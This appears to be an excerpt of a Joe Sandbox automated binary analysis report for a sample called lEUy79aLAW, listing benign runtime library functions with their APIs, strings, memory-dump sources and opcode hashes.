                                  • Instruction Fuzzy Hash: 07210636704215ABEF289F28DC51BB977E5EF86720F298199F9498B241C6729D02C790
                                  Function 00A8E369 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00A8E5C4,00000000,00000050,?,?,?,?,?), ref: 00A8E444
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: ACP$OCP
                                  • API String ID: 0-711371036
                                  • Opcode ID: 45a8322905ca16581e51c6b38c5df9b416bc6fe9f02129f3bb43dd49914de973
                                  • Instruction ID: f2ecd4a5c10e8e86eabce61b5f5d4d0ed747becc00e0fed704c19651d49064c1
                                  • Opcode Fuzzy Hash: 45a8322905ca16581e51c6b38c5df9b416bc6fe9f02129f3bb43dd49914de973
                                  • Instruction Fuzzy Hash: 7021B672A40201E6EB34FB64CD41B9B72A6EF50B10F5A8424E90EDB241F733DD01C354
                                  Function 009C60C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 009C610E
                                    • Part of subcall function 00A67E0C: RaiseException.KERNEL32(?,?,00A3538C,?,?,Dflt,?,?,?,?,?,00A3538C,?,00AD9978,?), ref: 00A67E6C
                                  • ___std_exception_copy.LIBVCRUNTIME ref: 009C6162
                                  Strings
                                  • Clone() is not implemented yet., xrefs: 009C60E5
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ExceptionException@8RaiseThrow___std_exception_copy
                                  • String ID: Clone() is not implemented yet.
                                  • API String ID: 640887848-226299721
                                  • Opcode ID: 585fe35b1da1caaf48f13ae200347ae42d7afa436a6944a09e30deb7707bf3fe
                                  • Instruction ID: a149aa67b63fb8fe424378ef4c483dbacba5a9877aba15e5b91bb11e1185f193
                                  • Opcode Fuzzy Hash: 585fe35b1da1caaf48f13ae200347ae42d7afa436a6944a09e30deb7707bf3fe
                                  • Instruction Fuzzy Hash: B52130B2910609EBCB01DF95CD41F9AF7FCFB19710F50466AF521A3680E775AA048BA0
                                  Function 00A0D5B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A0D656
                                  Strings
                                  • ArraySink: missing OutputBuffer argument, xrefs: 00A0D62D
                                  • OutputBuffer, xrefs: 00A0D5E7
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: ArraySink: missing OutputBuffer argument$OutputBuffer
                                  • API String ID: 2005118841-3781944848
                                  • Opcode ID: 7405020d58d75f85ca2eb4c5b364ba7f327dc26cd9a3bd402b06b3445b4d97c6
                                  • Instruction ID: c98ac9442056224b4eebcaac046cb426d2bd81412af6f9220b1083ff99874a4e
                                  • Opcode Fuzzy Hash: 7405020d58d75f85ca2eb4c5b364ba7f327dc26cd9a3bd402b06b3445b4d97c6
                                  • Instruction Fuzzy Hash: 69215B71A00648EFCB04DFA4C841FAEBBF4FB48710F00466AF416AB690DB75A908CB94
                                  Function 009C2980 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 009C29AB
                                  • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 009C29FA
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
                                  • String ID: bad locale name
                                  • API String ID: 3988782225-1405518554
                                  • Opcode ID: 28d9a6e9167dbb044e831a0fa24c397b4195cb48c72d8e592ac23fff5005df52
                                  • Instruction ID: 179aefe752784b2d3d2dc46dca1d042fa664d80a89560c21fa852d5a9bfe52d6
                                  • Opcode Fuzzy Hash: 28d9a6e9167dbb044e831a0fa24c397b4195cb48c72d8e592ac23fff5005df52
                                  • Instruction Fuzzy Hash: 9A119E71905B44AFD320CF68C901B47BBE8FF19710F008A1EE89AC7B81D7B5A504CB95
                                  Function 009F01A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 009F021F
                                  Strings
                                  • OutputStringPointer, xrefs: 009F01D2
                                  • StringSink: OutputStringPointer not specified, xrefs: 009F01F6
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: OutputStringPointer$StringSink: OutputStringPointer not specified
                                  • API String ID: 2005118841-1331214609
                                  • Opcode ID: 82913c99e0f968cb4c7574dd65ad63acbb0cac80c2b80b23d3d52eb46962af1b
                                  • Instruction ID: 743f840a41243debd743275777d31356bf9fa14c38fa599861a0b60351da22ae
                                  • Opcode Fuzzy Hash: 82913c99e0f968cb4c7574dd65ad63acbb0cac80c2b80b23d3d52eb46962af1b
                                  • Instruction Fuzzy Hash: 7F015E71A44608EBCB00DB94CD41FDAB3FCFB08714F108AAAE521A7280EB31B9058B94
                                  Function 00A5EE17 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON
                                  Download Yara Rule
                                  APIs
                                  • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A5EE5F
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A5EE6D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throwstd::invalid_argument::invalid_argument
                                  • String ID: pContext
                                  • API String ID: 1687795959-2046700901
                                  • Opcode ID: e0d69b29cbafadcf38c444ec591a690e09f2e4ff0d88d1d7bf7054abcbd1afdd
                                  • Instruction ID: 81f20c42d17e07a7c0a2922adf59f4cd2192f1f982029031f01d82ea2357cf9d
                                  • Opcode Fuzzy Hash: e0d69b29cbafadcf38c444ec591a690e09f2e4ff0d88d1d7bf7054abcbd1afdd
                                  • Instruction Fuzzy Hash: 55F0B4367002147B8F04EBA8D845C6EB76DAF99A647004466FD119B391DB70EE058AE0
                                  Function 00A70064 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: NameName::
                                  • String ID: {flat}
                                  • API String ID: 1333004437-2606204563
                                  • Opcode ID: 063a1d6285ec8eab0899f2ec3d638f13852d786ad8b1c4b03a0ee5f7bf523965
                                  • Instruction ID: e81605618b97835f3322420670b927713c5a8b11b3d55eb229445ef9d9dead3b
                                  • Opcode Fuzzy Hash: 063a1d6285ec8eab0899f2ec3d638f13852d786ad8b1c4b03a0ee5f7bf523965
                                  • Instruction Fuzzy Hash: CFF03970250248DFD700DBA8D9A9FEA3BE0AB82325F14C444E94D4F692CB79D8D18BA0
                                  Function 00A62735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
                                  Download Yara Rule
                                  APIs
                                  • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A62754
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A62762
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throwstd::invalid_argument::invalid_argument
                                  • String ID: pThreadProxy
                                  • API String ID: 1687795959-3651400591
                                  • Opcode ID: bc779dd82399aad83a89e7ebebb6f4927b401889915db51bd16545ed079743f8
                                  • Instruction ID: 04bc66039f43eb0e5d6766160c4731fc8c0e2385662b185fc9751b86e65c96ca
                                  • Opcode Fuzzy Hash: bc779dd82399aad83a89e7ebebb6f4927b401889915db51bd16545ed079743f8
                                  • Instruction Fuzzy Hash: 72D05E31E102087ACB00EBB8C906F9EB3BC6B00748F4085796911AB192EF70E508CAB0
                                  Function 00A68FA5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                  Download Yara Rule
                                  APIs
                                  • std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 00A68FB1
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A68FD8
                                    • Part of subcall function 00A67E0C: RaiseException.KERNEL32(?,?,00A3538C,?,?,Dflt,?,?,?,?,?,00A3538C,?,00AD9978,?), ref: 00A67E6C
                                  Strings
                                  • Access violation - no RTTI data!, xrefs: 00A68FA8
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ExceptionException@8RaiseThrowstd::__non_rtti_object::__construct_from_string_literal
                                  • String ID: Access violation - no RTTI data!
                                  • API String ID: 2053020834-2158758863
                                  • Opcode ID: 8aa26a4ffc62813741f8382d79143d058836b271937283c18242f36a91839ca5
                                  • Instruction ID: b4f6bf283eb2f493df49c80b8004b51a7142605049b4a9359b932d6afddae098
                                  • Opcode Fuzzy Hash: 8aa26a4ffc62813741f8382d79143d058836b271937283c18242f36a91839ca5
                                  • Instruction Fuzzy Hash: F0D0C972D4420D6ADE18D6D08B0B8DE73BCA908314F600983F72067481AF7ABE188A61